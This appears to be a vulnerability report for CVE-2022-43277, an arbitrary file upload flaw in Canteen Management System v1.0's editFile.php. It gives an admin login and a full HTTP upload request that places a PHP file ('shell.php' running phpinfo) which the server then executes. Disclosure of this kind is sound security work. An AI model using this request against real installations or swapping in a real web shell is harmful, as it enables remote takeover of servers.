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CVE-2022-43277: bug_report/RCE-1.md at main · HuahuaDaren/bug_report
Canteen Management System v1.0 was discovered to contain an arbitrary file upload vulnerability via ip/youthappam/php_action/editFile.php. This vulnerability allows attackers to execute arbitrary code via a crafted PHP file.
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Canteen Management System v1.0 by mayuri_k has arbitrary code execution (RCE)
BUG_Author: Qianxin Niu
vendors: https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html
The program is built using the xmapp-php8.1 version
Login account: [email protected]/rootadmin (Super Admin account)
Vulnerability url: ip/youthappam/php_action/editFile.php?id=1
Loophole location: Canteen Management System’s editFile.php file exists arbitrary file upload (RCE)
Request package for file upload：‘
POST /youthappam/php_action/editFile.php?id=1 HTTP/1.1 Host: 192.168.1.88 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=lf9hph2449vgrcadcct2jgd8ne Connection: close Content-Type: multipart/form-data; boundary=---------------------------88582622926272 Content-Length: 422 -----------------------------88582622926272 Content-Disposition: form-data; name="old_image" -----------------------------88582622926272 Content-Disposition: form-data; name="productImage"; filename="shell.php" Content-Type: application/octet-stream <?php phpinfo(); ?> -----------------------------88582622926272 Content-Disposition: form-data; name="btn" -----------------------------88582622926272–
The files will be uploaded to this directory \youthappam\assets\myimages\
We visited the directory of the file in the browser and found that the code had been executed